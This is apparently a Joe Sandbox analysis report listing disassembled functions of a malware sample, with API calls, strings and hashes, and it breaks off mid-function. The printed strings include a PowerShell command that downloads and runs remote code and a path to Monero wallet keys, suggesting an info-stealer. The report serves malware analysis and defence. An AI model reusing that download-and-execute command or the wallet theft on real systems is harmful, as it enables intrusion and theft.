Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 13fc75129d150d3ec5067297434e18250ebf3209bb07c151037c21f0bd20a6f0
Instruction ID: 5e12ac3359714836fa97eec89972114cd1b39513c485ce6d8f1a4b073874fb89
Opcode Fuzzy Hash: 13fc75129d150d3ec5067297434e18250ebf3209bb07c151037c21f0bd20a6f0
Instruction Fuzzy Hash: 2C410071C102189ADB18FFA0D896BDDB7B4BF10301F445629E906B7192EF742A4ECF91

Function 00E49E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00E49F41

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Strings

@, xrefs: 00E49EF1
v20, xrefs: 00E49E21
ERROR_RUN_EXTRACTOR, xrefs: 00E49E67
v10, xrefs: 00E49EA3

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: e5cbfdc7dab364f52eecd0c3d6a1191943a3eb6893f8b3352ebb84741b32df75
Instruction ID: 2e854db539e3fdc1447c66c0919e20e39cc8f21c61e5ddfdd803a0048ef8069a
Opcode Fuzzy Hash: e5cbfdc7dab364f52eecd0c3d6a1191943a3eb6893f8b3352ebb84741b32df75
Instruction Fuzzy Hash: D2616131A50208DBDB24EFA4DC96FEE77B5AF44340F049528F90A7F181EB746A09CB52

Function 00E570D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

memset.MSVCRT ref: 00E5716A

Strings

s, xrefs: 00E572AE, 00E57179, 00E5717C
s, xrefs: 00E57111, 00E57114
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00E5718C

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-3520659465
Opcode ID: 5773684b0e1a2eb633d165ce2992dc68ff5fd79bc4a6938f36717fe22b9e71e5
Instruction ID: c6d094fff9e2c5e1a15e8d993749b2405ea48627d292a9329329e96c7115b0aa
Opcode Fuzzy Hash: 5773684b0e1a2eb633d165ce2992dc68ff5fd79bc4a6938f36717fe22b9e71e5
Instruction Fuzzy Hash: 6251A4B0C042189FDB14EB90ED85BEEB3B4AF44305F5469A8E94577181EB746E8CCF54

Function 00E56920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00E5696C
sscanf.NTDLL ref: 00E56999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00E569B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00E569C0
ExitProcess.KERNEL32 ref: 00E569DA

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8582761e0937aae7fda50daff75457ef48b22ba0b1c4ead2d7ee6cb88bbfced9
Instruction ID: 73bbd19f5083e7b2b16558c770bc7554539cce08aed65ce2a4e000ef3044188f
Opcode Fuzzy Hash: 8582761e0937aae7fda50daff75457ef48b22ba0b1c4ead2d7ee6cb88bbfced9
Instruction Fuzzy Hash: 2321EA75D14208EBCF08EFE4D945AEEB7B5BF48301F04852AE446B3244EB355609CB65

Function 00E57E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E57E37
RtlAllocateHeap.NTDLL(00000000), ref: 00E57E3E
RegOpenKeyExA.ADVAPI32(80000002,01CAC9C0,00000000,00020119,?), ref: 00E57E5E
RegQueryValueExA.ADVAPI32(?,01CBE038,00000000,00000000,000000FF,000000FF), ref: 00E57E7F
RegCloseKey.ADVAPI32(?), ref: 00E57E92

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: bfaf0fceeb610086905acd2185fa5cf4aae8aaf000c9c76d065a6e175a3d4694
Instruction ID: 41a1a7dfbf2be15bfd839ff604516e779f086f304d08aaad064605521d19485f
Opcode Fuzzy Hash: bfaf0fceeb610086905acd2185fa5cf4aae8aaf000c9c76d065a6e175a3d4694
Instruction Fuzzy Hash: 931191B1A48305EBD710CF94EC4AFBFBBB8FB44711F10451AFA85A7684DB7958048BA0

Function 00E59260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01CBE9C0,?,?,?,00E5140C,?,01CBE9C0,00000000), ref: 00E5926C
lstrcpyn.KERNEL32(0108AB88,01CBE9C0,01CBE9C0,?,00E5140C,?,01CBE9C0), ref: 00E59290
lstrlen.KERNEL32(?,?,00E5140C,?,01CBE9C0), ref: 00E592A7
wsprintfA.USER32 ref: 00E592C7

Strings

%s%s, xrefs: 00E592B5

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: afb2d5653d859957336ec504cc335e2ec66dfc0422276012353bce08511d2fa1
Instruction ID: 3d9a5601ff394e27cb474bc58962898c7b36ecda4ead0c157d941a7dcca12e7d
Opcode Fuzzy Hash: afb2d5653d859957336ec504cc335e2ec66dfc0422276012353bce08511d2fa1
Instruction Fuzzy Hash: 86015E75604208FFCB04DFECD984EAE3BB9FB48394F108549F9899B605C639EA40DB90

Function 00E412A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E412B4
RtlAllocateHeap.NTDLL(00000000), ref: 00E412BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E412D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E412F5
RegCloseKey.ADVAPI32(?), ref: 00E412FF

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d67ec1ff8067b30939fe146f49f2f7f707ee3d42b494526b188e5ede2501f883
Instruction ID: 4431d4f6c9a8bd58587c8c7f514e0e311e0b62bfb1dec0fd1cb4f908102327ed
Opcode Fuzzy Hash: d67ec1ff8067b30939fe146f49f2f7f707ee3d42b494526b188e5ede2501f883
Instruction Fuzzy Hash: 050112B5A44208FBDB10DFD0DC49FAEB7B8EB48701F008155FA4597284D6759A019B60

Function 00E56630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00E56663

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

ShellExecuteEx.SHELL32(0000003C), ref: 00E56726
ExitProcess.KERNEL32 ref: 00E56755

Strings

<, xrefs: 00E566D9

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: a8d41d2cd9e8edaa118a6b7222fe5ab97be52b4b15adfce404c0fca31395892d
Instruction ID: 8d272f8c67e5789e26acbed0d7899c3ffd9eeb301e63cc5e945c40dfef9571fd
Opcode Fuzzy Hash: a8d41d2cd9e8edaa118a6b7222fe5ab97be52b4b15adfce404c0fca31395892d
Instruction Fuzzy Hash: A9316BB1901218AADB14EB90DC86BDEB7B8AF48300F405599F60A77181DF786B48CF69

Function 00E587C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E60E28,00000000,?), ref: 00E5882F
RtlAllocateHeap.NTDLL(00000000), ref: 00E58836
wsprintfA.USER32 ref: 00E58850

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Strings

%dx%d, xrefs: 00E58847

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: b66c43d5e6078ffb0dfd80f608643e3c50a214dae30c4efa01cb87516fc93cd3
Instruction ID: bbab36b1747f5452ce0f92dec43650116476a9bc6f0c8d75ce310777e6108420
Opcode Fuzzy Hash: b66c43d5e6078ffb0dfd80f608643e3c50a214dae30c4efa01cb87516fc93cd3
Instruction Fuzzy Hash: 7C215EB1A44204EFDB14DFD4DD45FAEBBB8FB48711F10451AFA45B7684C77A99008BA0

Function 00E58D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00E5951E,00000000), ref: 00E58D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00E58D62
wsprintfW.USER32 ref: 00E58D78

Strings

%hs, xrefs: 00E58D6F

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 939f9fb30a0431674d42ba01c3b0ce90e165ad951cf457275001f9e2ad99df1a
Instruction ID: 8bf5cb868578de4fefb89810d25cdd8aae5241c3e8d43dbf4d6b8b1ffe596591
Opcode Fuzzy Hash: 939f9fb30a0431674d42ba01c3b0ce90e165ad951cf457275001f9e2ad99df1a
Instruction Fuzzy Hash: 56E08CB0B54208FBC720DB94EC0AE6D77B8EB04702F000095FE8A97680DA769E009BA1

Function 00E4A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E58B60: GetSystemTime.KERNEL32(00E60E1A,01CBAD00,00E605AE,?,?,00E413F9,?,0000001A,00E60E1A,00000000,?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E58B86

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E4A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00E4A3FF
lstrlen.KERNEL32(00000000), ref: 00E4A6BC

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

DeleteFileA.KERNEL32(00000000), ref: 00E4A743

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0fc9c53ec23262ab87555852a262843b4c97ca3389d7f834b8ec9af27305fe04
Instruction ID: df943d582f266519c2e6a7b5ff0c4055f468df8f29df2d99164cd4cf3544306e
Opcode Fuzzy Hash: 0fc9c53ec23262ab87555852a262843b4c97ca3389d7f834b8ec9af27305fe04
Instruction Fuzzy Hash: 6EE111728101189ACB18FBA4DC96EEE7378BF54301F549A79F91772091EF346A0DCB62

Function 00E4D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

